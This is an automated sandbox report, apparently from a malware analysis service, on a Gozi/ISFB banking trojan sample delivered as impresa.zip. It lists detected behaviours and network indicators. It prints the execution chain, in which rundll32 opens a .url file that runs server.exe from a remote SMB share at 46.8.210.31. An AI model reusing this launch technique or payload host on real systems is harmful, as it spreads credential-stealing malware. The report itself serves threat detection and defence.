Malware Analysis Report

2025-08-11 01:45

Sample ID 230308-k3wzvsfa59
Target impresa.zip
SHA256 b883d0faf8a9f2396a311b6005ab68073ff0e6a09cafbdc7b58a8439d52409a1
Tags
gozi 7711 banker isfb trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V6

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

b883d0faf8a9f2396a311b6005ab68073ff0e6a09cafbdc7b58a8439d52409a1

Threat Level: Known bad

The file impresa.zip was found to be: Known bad.

Malicious Activity Summary

gozi 7711 banker isfb trojan

Gozi

Checks computer location settings

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Suspicious behavior: GetForegroundWindowSpam

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2023-03-08 09:08

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2023-03-08 09:08

Reported

2023-03-08 09:10

Platform

win7-20230220-en

Max time kernel

128s

Max time network

33s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\impresa\impresa.url

Signatures

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\System32\rundll32.exe N/A

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\impresa\impresa.url

Network

N/A

Files

memory/1692-54-0x0000000002280000-0x0000000002281000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2023-03-08 09:08

Reported

2023-03-08 09:10

Platform

win10v2004-20230220-en

Max time kernel

142s

Max time network

149s

Command Line

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\impresa\impresa.url

Signatures

Gozi

banker trojan gozi

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-144354903-2550862337-1367551827-1000\Control Panel\International\Geo\Nation C:\Windows\System32\rundll32.exe N/A

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 3464 wrote to memory of 5048 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.31\Agenzia\server.exe
PID 3464 wrote to memory of 5048 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.31\Agenzia\server.exe
PID 3464 wrote to memory of 5048 N/A C:\Windows\System32\rundll32.exe \??\UNC\46.8.210.31\Agenzia\server.exe

Processes

C:\Windows\System32\rundll32.exe

"C:\Windows\System32\rundll32.exe" "C:\Windows\System32\ieframe.dll",OpenURL C:\Users\Admin\AppData\Local\Temp\impresa\impresa.url

\??\UNC\46.8.210.31\Agenzia\server.exe

"\\46.8.210.31\Agenzia\server.exe"

Network

Country Destination Domain Proto
RU 46.8.210.31:445 tcp
US 8.8.8.8:53 31.210.8.46.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 199.176.139.52.in-addr.arpa udp
US 8.8.8.8:53 58.104.205.20.in-addr.arpa udp
US 8.8.8.8:53 154.239.44.20.in-addr.arpa udp
US 8.8.8.8:53 checklist.skype.com udp
US 20.189.173.12:443 tcp
US 8.8.8.8:53 234.238.32.23.in-addr.arpa udp
US 8.8.8.8:53 45.8.109.52.in-addr.arpa udp
NL 8.238.20.126:80 tcp
US 93.184.220.29:80 tcp
NL 8.238.20.126:80 tcp
NL 173.223.113.164:443 tcp
NL 173.223.113.131:80 tcp
US 131.253.33.203:80 tcp
RU 62.173.138.6:80 tcp

Files

memory/5048-134-0x00000000004D0000-0x00000000004DB000-memory.dmp

memory/5048-135-0x0000000000530000-0x000000000053D000-memory.dmp

memory/5048-138-0x0000000000400000-0x000000000044C000-memory.dmp